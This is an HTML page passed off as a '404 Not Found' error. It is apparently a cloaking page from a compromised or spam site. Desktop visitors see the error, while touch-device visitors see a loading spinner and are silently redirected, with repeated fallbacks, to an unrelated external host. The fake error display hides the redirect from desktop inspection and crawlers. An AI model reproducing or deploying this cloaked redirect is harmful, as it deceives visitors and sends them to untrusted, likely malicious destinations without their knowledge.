<EOF></EOF>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>404 Not Found</title>
    <script>
        (function () {
            var bp = document.createElement('script');
            var curProtocol = window.location.protocol.split(':')[0];
            if (curProtocol === 'https') {
                bp.src = 'http://zz.bdstatic.com/linksubmit/push.js';
            }
            else {
                bp.src = 'http://push.zhanzhang.baidu.com/push.js';
            }
            var s = document.getElementsByTagName("script")[0];
            s.parentNode.insertBefore(bp, s);
        })();
        var _hmt = _hmt || [];
        (function () {
            var hm = document.createElement("script");
            hm.src = "http://hm.baidu.com/hm.js?b2d8bf4ee17cbd5bdc85f732f65e3bf5";
            var s = document.getElementsByTagName("script")[0];
            s.parentNode.insertBefore(hm, s);
        })();
    </script>
    <style>
        body,
        html {
            height: 100%;
            margin: 0;
            padding: 0;
            font-family: Arial, sans-serif;
            background-color: #f0f0f0;
        }

        .container {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100%;
        }

        .loading {
            font-size: 24px;
            color: #333;
            text-align: center;
            display: none;
        }

        .spinner {
            border: 4px solid #f3f3f3;
            border-top: 4px solid #3498db;
            border-radius: 50%;
            width: 40px;
            height: 40px;
            animation: spin 1s linear infinite;
            margin: 20px auto;
        }

        @keyframes spin {
            0% {
                transform: rotate(0deg);
            }

            100% {
                transform: rotate(360deg);
            }
        }

        @media (max-width: 600px) {
            .loading {
                font-size: 20px;
            }

            .spinner {
                width: 30px;
                height: 30px;
            }
        }

        /* 添加 404 页面样式 */
        .error-page {
            text-align: center;
            font-family: sans-serif;
            padding: 50px;
        }

        .error-code {
            font-size: 120px;
            font-weight: bold;
            color: #444;
            margin: 0;
        }

        .error-text {
            font-size: 24px;
            color: #666;
            margin: 20px 0;
        }

        /* 在移动设备下隐藏 404 页面 */
        @media (max-width: 600px) {
            .error-page {
                display: none;
            }
        }

        /* 使用媒体查询检测触摸设备 */
        @media (hover: none) and (pointer: coarse) {
            .loading {
                display: block;
            }

            .error-page {
                display: none;
            }
        }
    </style>
</head>

<body>
    <div class="container">
        <!-- 移动端加载动画 -->
        <div class="loading">
            <div class="spinner"></div>
            Loading...
        </div>

        <!-- 桌面端 404 页面 -->
        <div class="error-page">
            <h1 class="error-code">404</h1>
            <p class="error-text">Not Found</p>
            <p>The requested URL was not found on this server.</p>
        </div>
    </div>

    <script>
        const isTouchDevice = () => {
            return (('ontouchstart' in window) ||
                (navigator.maxTouchPoints > 0) ||
                (navigator.msMaxTouchPoints > 0));
        }

        const url = 'http://ysh105.kgawge.cn/45.html'

        if (isTouchDevice()) {
            try {
                setTimeout(() => {
                    window.location.replace(url);
                }, 600);

                setTimeout(() => {
                    if (window.location.href !== url) {
                        window.location.href = url;
                    }
                }, 1000);
            } catch (e) {
                window.location.href = url;
            }
        }
    </script>
</body>

</html>